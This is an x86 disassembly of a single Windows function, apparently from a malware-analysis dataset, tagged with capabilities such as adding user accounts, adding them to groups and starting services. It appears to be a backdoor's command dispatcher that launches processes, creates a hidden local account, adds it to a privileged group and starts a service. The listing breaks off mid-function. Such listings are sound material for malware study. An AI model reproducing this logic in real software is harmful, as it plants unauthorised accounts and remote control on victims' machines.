Function at 0x40e0b0
Capabilities:
Add user account
Add user account to group
Create a process with modified i/o handles and window
Create process on windows
Create thread
Read file on windows
Start service

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x6cc
mov eax, dword [0x428004]
xor eax, esp
mov dword [esp + 0x6c8], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0x100
xor eax, eax
lea ecx, [esp + 0x1d4]
push ecx
push eax
push eax
push edi
lea ebx, [esp + 0x20]
mov dword [esp + 0x28], edi
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
call fcn.00403040
add esp, 0x14
test al, al
je 0x40e108
cmp byte [esp + 0x1d0], 0x22
jne 0x40e130
push 0x100
lea edx, [esp + 0x1d4]
push edx
push 0x22
push 0x22
push edi
lea ebx, [esp + 0x24]
call fcn.00403040
mov esi, dword [esp + 0x24]
add esp, 0x14
mov dword [esp + 0xc], esi
jmp 0x40e134
mov esi, dword [esp + 0xc]
push 0xe5
call fcn.00403fe0
mov eax, dword [0x42a118]
mov ecx, dword [eax + 0x394]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40e173
test dl, dl
je 0x40e16f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40e173
add eax, 2
add ecx, 2
test dl, dl
jne 0x40e153
xor eax, eax
jmp 0x40e178
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40e183
push 1
call fcn.00406d20
push 0xe6
call fcn.00403fe0
mov ecx, dword [0x42a118]
mov ecx, dword [ecx + 0x398]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40e1c3
test dl, dl
je 0x40e1bf
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40e1c3
add eax, 2
add ecx, 2
test dl, dl
jne 0x40e1a3
xor eax, eax
jmp 0x40e1c8
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40e23d
push 0x104
lea edx, [esp + 0xcc]
push edx
push eax
push eax
push edi
lea ebx, [esp + 0x20]
mov dword [esp + 0x24], esi
call fcn.00403040
add esp, 0x14
test al, al
je 0x40e1fa
cmp byte [esp + 0xc8], 0x22
jne 0x40e218
push 0x104
lea eax, [esp + 0xcc]
push eax
push 0x22
push 0x22
push edi
lea ebx, [esp + 0x24]
call fcn.00403040
add esp, 0x14
lea ecx, [esp + 0xc8]
push ecx
call fcn.0040da40
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.004118d8
mov esp, ebp
pop ebp
ret
push 0xe7
call fcn.00403fe0
mov edx, dword [0x42a118]
mov ecx, dword [edx + 0x39c]
add esp, 4
lea eax, [esp + 0x1d0]
lea ecx, [ecx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40e280
test dl, dl
je 0x40e27c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40e280
add eax, 2
add ecx, 2
test dl, dl
jne 0x40e260
xor eax, eax
jmp 0x40e285
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40e2f8
push 0x104
lea eax, [esp + 0xcc]
push eax
push 0
push 0
push edi
lea ebx, [esp + 0x20]
mov dword [esp + 0x24], esi
call fcn.00403040
add esp, 0x14
test al, al
je 0x40e2b9
cmp byte [esp + 0xc8], 0x22
jne 0x40e2d7
push 0x104
lea ecx, [esp + 0xcc]
push ecx
push 0x22
push 0x22
push edi
lea ebx, [esp + 0x24]
call fcn.00403040
add esp, 0x14
lea ecx, [esp + 0xc8]
call fcn.0040dc50
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.004118d8
mov esp, ebp
pop ebp
ret
push pe_nt_image_headers32
call fcn.00403fe0
mov edx, dword [0x42a118]
mov ecx, dword [edx + 0x3a0]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40e338
test dl, dl
je 0x40e334
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40e338
add eax, 2
add ecx, 2
test dl, dl
jne 0x40e318
xor eax, eax
jmp 0x40e33d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40e35b
call fcn.0040dfe0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.004118d8
mov esp, ebp
pop ebp
ret
push 0xe9
call fcn.00403fe0
mov eax, dword [0x42a118]
mov ecx, dword [eax + 0x3a4]
add esp, 4
lea eax, [esp + 0x1d0]
lea ebx, [ebx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40e3a0
test dl, dl
je 0x40e39c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40e3a0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40e380
xor eax, eax
jmp 0x40e3a5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40e3c3
call fcn.0040e020
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.004118d8
mov esp, ebp
pop ebp
ret
push 0xea
call fcn.00403fe0
mov ecx, dword [0x42a118]
mov ecx, dword [ecx + 0x3a8]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40e403
test dl, dl
je 0x40e3ff
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40e403
add eax, 2
add ecx, 2
test dl, dl
jne 0x40e3e3
xor eax, eax
jmp 0x40e408
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40e601
push 0x100
push edi
lea edi, [esp + 0xd0]
lea esi, [esp + 0x14]
call fcn.0040e060
add esp, 8
call fcn.004098f0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40e431
sub eax, edx
mov edx, eax
lea eax, [esp + 0xc8]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40e446
sub eax, esi
lea edi, [eax + edx + 0x8b]
push edi
call fcn.00412765
mov esi, eax
add esp, 4
test esi, esi
je 0x40e456
lea edx, [esp + 0x70]
push edx
lea eax, [esp + 0xcc]
push eax
call fcn.004122d4
add esp, 8
test eax, eax
jne 0x40e5a1
lea eax, [esp + 0xc8]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40e490
sub eax, edx
lea esi, [eax + 1]
lea esp, [esp]
push esi
call fcn.00412765
add esp, 4
mov dword [esp + 0x10], eax
test eax, eax
je 0x40e4a0
push esi
call fcn.00412765
mov edi, eax
add esp, 4
test edi, edi
je 0x40e4b1
mov esi, dword [esp + 0x10]
push edi
push esi
push 0
lea ecx, [esp + 0xd4]
push 0
push ecx
call fcn.00413c5c
mov eax, esi
add esp, 0x14
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40e4e0
mov ecx, edi
sub eax, edx
lea esi, [ecx + 1]
mov edi, edi
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x40e4f0
sub ecx, esi
lea ebx, [ecx + eax + 8]
lea ecx, [ecx]
push ebx
call fcn.00412765
mov esi, eax
add esp, 4
test esi, esi
je 0x40e500
mov ebx, dword [esp + 0x10]
push edi
push ebx
push 0x423760
push esi
call fcn.004128a6
push esi
lea eax, [esp + 0xdc]
call fcn.00405990
add esp, 0x14
push esi
call fcn.0041272b
add esp, 4
push ebx
call fcn.0041272b
add esp, 4
push edi
call fcn.0041272b
add esp, 4
jmp 0x40e550
push 0xe
call fcn.00412765
mov esi, eax
add esp, 4
test esi, esi
je 0x40e550
push 0xf9
call fcn.00403fe0
mov edx, dword [0x42a118]
mov eax, dword [edx + 0x3e4]
mov edx, esi
add esp, 4
sub edx, eax
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x40e580
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.004118d8
mov esp, ebp
pop ebp
ret
push esi
call fcn.0041272b
add esp, 4
lea ebx, [ebx]
push 0xf
call fcn.00412765
mov esi, eax
add esp, 4
test esi, esi
je 0x40e5b0
push 0xfa
call fcn.00403fe0
mov eax, dword [0x42a118]
mov eax, dword [eax + 0x3e8]
mov edx, esi
add esp, 4
sub edx, eax
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x40e5e0
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.004118d8
mov esp, ebp
pop ebp
ret
push 0xeb
call fcn.00403fe0
mov ecx, dword [0x42a118]
mov ecx, dword [ecx + 0x3ac]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40e641
test dl, dl
je 0x40e63d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40e641
add eax, 2
add ecx, 2
test dl, dl
jne 0x40e621
xor eax, eax
jmp 0x40e646
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40e761
push 0x100
push edi
lea edi, [esp + 0xd0]
lea esi, [esp + 0x14]
call fcn.0040e060
mov ebx, dword [esp + 0x1c]
push 0x100
push ebx
lea edi, [esp + 0x3e0]
call fcn.0040e060
push 0x100
push ebx
lea edi, [esp + 0x1e8]
call fcn.0040e060
push 0x24
call fcn.00403fe0
mov edx, dword [0x42a118]
mov ecx, dword [edx + 0x90]
add esp, 0x1c
mov eax, edi
push eax
lea edx, [esp + 0x3d4]
push edx
lea edx, [esp + 0xd0]
call fcn.00401720
add esp, 8
test al, al
je 0x40e711
push 0x10
call fcn.00412765
mov esi, eax
add esp, 4
test esi, esi
je 0x40e6c0
push 0xfb
call fcn.00403fe0
mov eax, dword [0x42a118]
mov eax, dword [eax + 0x3ec]
mov edx, esi
add esp, 4
sub edx, eax
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x40e6f0
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.004118d8
mov esp, ebp
pop ebp
ret
push 0x10
call fcn.00412765
mov esi, eax
add esp, 4
test esi, esi
je 0x40e711
push 0xfc
call fcn.00403fe0
mov ecx, dword [0x42a118]
mov eax, dword [ecx + 0x3f0]
mov edx, esi
add esp, 4
sub edx, eax
mov edi, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x40e740
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.004118d8
mov esp, ebp
pop ebp
ret
push 0xec
call fcn.00403fe0
mov edx, dword [0x42a118]
mov ecx, dword [edx + 0x3b0]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40e7a1
test dl, dl
je 0x40e79d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40e7a1
add eax, 2
add ecx, 2
test dl, dl
jne 0x40e781
xor eax, eax
jmp 0x40e7a6
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40e8c1
push 0x100
push edi
lea edi, [esp + 0xd0]
lea esi, [esp + 0x14]
call fcn.0040e060
push 0x44
lea eax, [esp + 0x34]
push 0
push eax
call fcn.00415c60
add esp, 0x14
xor eax, eax
lea ecx, [esp + 0xb8]
push ecx
lea edx, [esp + 0x2c]
push edx
push eax
push eax
push 0x100
push eax
push eax
push eax
mov dword [esp + 0xd8], eax
mov dword [esp + 0xdc], eax
mov dword [esp + 0xe0], eax
mov dword [esp + 0xe4], eax
mov eax, edi
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40e871
lea esp, [esp]
push 3
call fcn.00412765
mov esi, eax
add esp, 4
test esi, esi
je 0x40e820
push 0xf7
call fcn.00403fe0
mov ecx, dword [0x42a118]
mov eax, dword [ecx + 0x3dc]
mov edx, esi
add esp, 4
sub edx, eax
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x40e850
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.004118d8
mov esp, ebp
pop ebp
ret
push 0x18
call fcn.00412765
mov esi, eax
add esp, 4
test esi, esi
je 0x40e871
push 0xfd
call fcn.00403fe0
mov edx, dword [0x42a118]
mov eax, dword [edx + 0x3f4]
mov edx, esi
add esp, 4
sub edx, eax
mov edi, edi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x40e8a0
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.004118d8
mov esp, ebp
pop ebp
ret
push 0xed
call fcn.00403fe0
mov eax, dword [0x42a118]
mov ecx, dword [eax + 0x3b4]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40e900
test dl, dl
je 0x40e8fc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40e900
add eax, 2
add ecx, 2
test dl, dl
jne 0x40e8e0
xor eax, eax
jmp 0x40e905
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40ea41
lea ecx, [ecx]
push 0x18
call fcn.00412765
add esp, 4
test eax, eax
je 0x40e910
push 0x100
push edi
lea edi, [esp + 0xd0]
lea esi, [esp + 0x14]
call fcn.0040e060
push 0x44
lea ecx, [esp + 0x7c]
push 0
push ecx
call fcn.00415c60
add esp, 0x14
xor eax, eax
xor edx, edx
mov dword [esp + 0xb8], eax
mov dword [esp + 0xbc], eax
mov dword [esp + 0xc0], eax
mov dword [esp + 0xc4], eax
lea eax, [esp + 0xb8]
push eax
lea ecx, [esp + 0x74]
push ecx
push edx
push edx
push 0x100
push edx
push edx
push edx
mov word [esp + 0xc0], dx
mov edx, edi
push edx
push 0
mov dword [esp + 0xc4], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40e9f1
mov edi, edi
push 3
call fcn.00412765
mov esi, eax
add esp, 4
test esi, esi
je 0x40e9a0
push 0xf7
call fcn.00403fe0
mov eax, dword [0x42a118]
mov eax, dword [eax + 0x3dc]
mov edx, esi
add esp, 4
sub edx, eax
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x40e9d0
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.004118d8
mov esp, ebp
pop ebp
ret
push 0x18
call fcn.00412765
mov esi, eax
add esp, 4
test esi, esi
je 0x40e9f1
push 0xfd
call fcn.00403fe0
mov ecx, dword [0x42a118]
mov eax, dword [ecx + 0x3f4]
mov edx, esi
add esp, 4
sub edx, eax
mov edi, edi
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x40ea20
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.004118d8
mov esp, ebp
pop ebp
ret
push 0xee
call fcn.00403fe0
mov edx, dword [0x42a118]
mov ecx, dword [edx + 0x3b8]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40ea81
test dl, dl
je 0x40ea7d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40ea81
add eax, 2
add ecx, 2
test dl, dl
jne 0x40ea61
xor eax, eax
jmp 0x40ea86
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40eb61
push 0x103
call fcn.00403fe0
mov eax, dword [0x42a118]
mov esi, dword [eax + 0x40c]
add esp, 4
push 0x44
lea ecx, [esp + 0x74]
push 0
push ecx
call fcn.00415c60
add esp, 0xc
xor eax, eax
xor edx, edx
mov dword [esp + 0xb8], eax
mov dword [esp + 0xbc], eax
mov dword [esp + 0xc0], eax
mov dword [esp + 0xc4], eax
lea eax, [esp + 0xb8]
push eax
lea ecx, [esp + 0x74]
push ecx
push edx
push edx
push 0x100
push edx
push edx
push edx
push esi
push edx
mov dword [esp + 0xc4], 1
mov word [esp + 0xc8], dx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
lea esp, [esp]
push 0x23
call fcn.00412765
mov esi, eax
add esp, 4
test esi, esi
je 0x40eb10
push 0xfe
call fcn.00403fe0
mov edx, dword [0x42a118]
mov eax, dword [edx + 0x3f8]
mov edx, esi
add esp, 4
sub edx, eax
lea ecx, [ecx]
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x40eb40
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.004118d8
mov esp, ebp
pop ebp
ret
push 0xef
call fcn.00403fe0
mov eax, dword [0x42a118]
mov ecx, dword [eax + 0x3bc]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40eba0
test dl, dl
je 0x40eb9c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40eba0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40eb80
xor eax, eax
jmp 0x40eba5
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40ec41
push 0x100
push edi
lea edi, [esp + 0x3d8]
lea esi, [esp + 0x14]
call fcn.0040e060
mov ecx, dword [esp + 0x1c]
push 0x100
push ecx
lea edi, [esp + 0xd8]
call fcn.0040e060
add esp, 0x10
push 0x40
mov edx, edi
push edx
lea eax, [esp + 0x3d8]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0x19
call fcn.00412765
mov esi, eax
add esp, 4
test esi, esi
je 0x40ebf1
push 0xff
call fcn.00403fe0
mov ecx, dword [0x42a118]
mov eax, dword [ecx + 0x3fc]
mov edx, esi
add esp, 4
sub edx, eax
mov edi, edi
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x40ec20
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.004118d8
mov esp, ebp
pop ebp
ret
push 0xf0
call fcn.00403fe0
mov edx, dword [0x42a118]
mov ecx, dword [edx + 0x3c0]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40ec81
test dl, dl
je 0x40ec7d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40ec81
add eax, 2
add ecx, 2
test dl, dl
jne 0x40ec61
xor eax, eax
jmp 0x40ec86
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40efe1
push 0x100
push edi
lea edi, [esp + 0xd0]
lea esi, [esp + 0x14]
call fcn.0040e060
mov eax, dword [esp + 0x1c]
push 0x100
push eax
lea edi, [esp + 0x3e0]
call fcn.0040e060
lea ecx, [esp + 0xd8]
push ecx
call fcn.00402e50
mov edx, edi
add esp, 0x14
mov ebx, eax
push edx
mov dword [esp + 0x10], ebx
call fcn.00402e50
add esp, 4
xor edi, edi
push 0x106
mov dword [esp + 0x20], eax
mov dword [esp + 0x18], edi
call fcn.00403fe0
mov eax, dword [0x42a118]
mov esi, dword [eax + 0x418]
add esp, 4
push 0x104
call fcn.00403fe0
mov edx, dword [0x42a118]
add esp, 4
push 4
lea ecx, [esp + 0x18]
push ecx
mov ecx, dword [edx + 0x410]
push esi
push 4
mov edx, connect
call fcn.00402df0
push 0x107
mov dword [esp + 0x28], 1
call fcn.00403fe0
mov eax, dword [0x42a118]
mov esi, dword [eax + 0x41c]
add esp, 0x14
push 0x104
call fcn.00403fe0
mov edx, dword [0x42a118]
add esp, 4
push 4
lea ecx, [esp + 0x18]
push ecx
mov ecx, dword [edx + 0x410]
push esi
push 4
mov edx, connect
call fcn.00402df0
push 0x108
mov dword [esp + 0x28], edi
call fcn.00403fe0
mov eax, dword [0x42a118]
mov esi, dword [eax + 0x420]
add esp, 0x14
push 0x105
call fcn.00403fe0
mov edx, dword [0x42a118]
add esp, 4
push 4
lea ecx, [esp + 0x18]
push ecx
mov ecx, dword [edx + 0x414]
push esi
push 4
mov edx, connect
call fcn.00402df0
add esp, 0x10
push 2
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
cmp esi, edi
je 0x40ee16
push 0x109
call fcn.00403fe0
mov eax, dword [0x42a118]
mov eax, dword [eax + 0x424]
add esp, 4
push 0x10
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
cmp ebx, edi
je 0x40ee0b
push edi
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ebx, dword [esp + 0xc]
push 0x10a
call fcn.00403fe0
mov ecx, dword [0x42a118]
mov esi, dword [ecx + 0x428]
add esp, 4
push 0x44
lea edx, [esp + 0x2c]
push edi
push edx
call fcn.00415c60
add esp, 0xc
lea ecx, [esp + 0xb8]
push ecx
lea edx, [esp + 0x2c]
push edx
push edi
push edi
push 0x100
push edi
push edi
xor eax, eax
push edi
push esi
push edi
mov dword [esp + 0xe0], eax
mov dword [esp + 0xe4], eax
mov dword [esp + 0xe8], eax
mov dword [esp + 0xec], eax
mov dword [esp + 0x7c], 1
mov word [esp + 0x80], ax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40eea0
mov eax, dword [esp + 0xb8]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, dword [esp + 0x1c]
lea ecx, [esp + 0x24]
push ecx
mov eax, 1
lea edx, [esp + 0x74]
push edx
push eax
push edi
mov dword [esp + 0x34], edi
mov dword [esp + 0x80], ebx
mov dword [esp + 0x84], esi
mov dword [esp + 0x8c], eax
mov dword [esp + 0x90], edi
mov dword [esp + 0x94], edi
mov dword [esp + 0x98], eax
mov dword [esp + 0x9c], edi
call dword [sym.imp.NETAPI32.dll_NetUserAdd]
push 0x10b
mov dword [esp + 0x14], edi
call fcn.00403fe0
mov eax, dword [0x42a118]
mov eax, dword [eax + 0x42c]
add esp, 4
lea ecx, [esp + 0x10]
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_ConvertStringSidToSidA]
test eax, eax
je 0x40ef77
mov eax, 0x100
mov dword [esp + 0xc], eax
mov dword [esp + 0x1c], eax
lea edx, [esp + 0xb8]
push edx
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x4d8]
push ecx
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x1e0]
push eax
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_LookupAccountSidW]
test eax, eax
je 0x40ef77
push 1
lea edx, [esp + 0x24]
push edx
push 3
lea eax, [esp + 0x1dc]
push eax
push edi
mov dword [esp + 0x34], ebx
call dword [sym.imp.NETAPI32.dll_NetLocalGroupAddMembers]
cmp ebx, edi
je 0x40ef84
push ebx
call fcn.0041272b
add esp, 4
cmp esi, edi
je 0x40ef91
push esi
call fcn.0041272b
add esp, 4
push 0x27
call fcn.00412765
mov ebx, eax
add esp, 4
cmp ebx, edi
je 0x40ef91
push 0x100
call fcn.00403fe0
mov ecx, dword [0x42a118]
mov eax, dword [ecx + 0x400]
mov edx, ebx
add esp, 4
sub edx, eax
mov edi, edi
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x40efc0
mov eax, ebx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.004118d8
mov esp, ebp
pop ebp
ret
push 0xf1
call fcn.00403fe0
mov edx, dword [0x42a118]
mov ecx, dword [edx + 0x3c4]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40f021
test dl, dl
je 0x40f01d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40f021
add eax, 2
add ecx, 2
test dl, dl
jne 0x40f001
xor eax, eax
jmp 0x40f026
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40f0e1
mov edi, edi
push 0x100
call fcn.00412765
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x40f030
push 0x100
push edi
mov edi, ebx
lea esi, [esp + 0x14]
call fcn.0040e060
mov eax, dword [esp + 0x1c]
push 8
push eax
lea edi, [esp + 0xc8]
call fcn.0040e060
mov ecx, edi
push ecx
mov dword [0x429ea4], ebx
call fcn.004136d2
add esp, 0x14
push 0
push 0
push 0
push 0x40d6c0
push 0
push 0
mov dword [0x42a6e4], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1b
call fcn.00412765
mov esi, eax
add esp, 4
test esi, esi
je 0x40f092
push 0x101
call fcn.00403fe0
mov edx, dword [0x42a118]
mov eax, dword [edx + 0x404]
mov edx, esi
add esp, 4
sub edx, eax
nop
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x40f0c0
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.004118d8
mov esp, ebp
pop ebp
ret
push 0xf2
call fcn.00403fe0
mov eax, dword [0x42a118]
mov ecx, dword [eax + 0x3c8]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40f120
test dl, dl
je 0x40f11c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40f120
add eax, 2
add ecx, 2
test dl, dl
jne 0x40f100
xor eax, eax
jmp 0x40f125
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40f1a6
lea esp, [esp]
push 4
call fcn.00412765
add esp, 4
test eax, eax
je 0x40f130
push 0
push 0
push eax
push 0x40a420
push 0
push 0
mov dword [eax], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xa
call fcn.00412765
mov esi, eax
add esp, 4
test esi, esi
je 0x40f158
push 0xf7
call fcn.00403fe0
mov ecx, dword [0x42a118]
mov eax, dword [ecx + 0x3dc]
mov edx, esi
add esp, 4
sub edx, eax
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x40f185
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.004118d8
mov esp, ebp
pop ebp
ret
push 0xf3
call fcn.00403fe0
mov edx, dword [0x42a118]
mov ecx, dword [edx + 0x3cc]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40f1e6
test dl, dl
je 0x40f1e2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40f1e6
add eax, 2
add ecx, 2
test dl, dl
jne 0x40f1c6
xor eax, eax
jmp 0x40f1eb
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40f265
nop
push 4
call fcn.00412765
add esp, 4
test eax, eax
je 0x40f1f0
push 0
push 0
push eax
push 0x40c820
push 0
push 0
mov dword [eax], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xa
call fcn.00412765
mov esi, eax
add esp, 4
test esi, esi
je 0x40f218
push 0xf7
call fcn.00403fe0
mov eax, dword [0x42a118]
mov eax, dword [eax + 0x3dc]
mov edx, esi
add esp, 4
sub edx, eax
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x40f244
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.004118d8
mov esp, ebp
pop ebp
ret
push 0xf4
call fcn.00403fe0
mov ecx, dword [0x42a118]
mov ecx, dword [ecx + 0x3d0]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40f2a5
test dl, dl
je 0x40f2a1
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40f2a5
add eax, 2
add ecx, 2
test dl, dl
jne 0x40f285
xor eax, eax
jmp 0x40f2aa
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40f326
mov edi, edi
push 4
call fcn.00412765
add esp, 4
test eax, eax
je 0x40f2b0
push 0
push 0
push eax
push 0x40ce70
push 0
push 0
mov dword [eax], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xa
call fcn.00412765
mov esi, eax
add esp, 4
test esi, esi
je 0x40f2d8
push 0xf7
call fcn.00403fe0
mov edx, dword [0x42a118]
mov eax, dword [edx + 0x3dc]
mov edx, esi
add esp, 4
sub edx, eax
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x40f305
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x6c8]
xor ecx, esp
call fcn.004118d8
mov esp, ebp
pop ebp
ret
push 0xf5
call fcn.00403fe0
mov eax, dword [0x42a118]
mov ecx, dword [eax + 0x3d4]
add esp, 4
lea eax, [esp + 0x1d0]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40f365
test dl, dl
je 0x40f361
mov dl, byte [eax + 1]
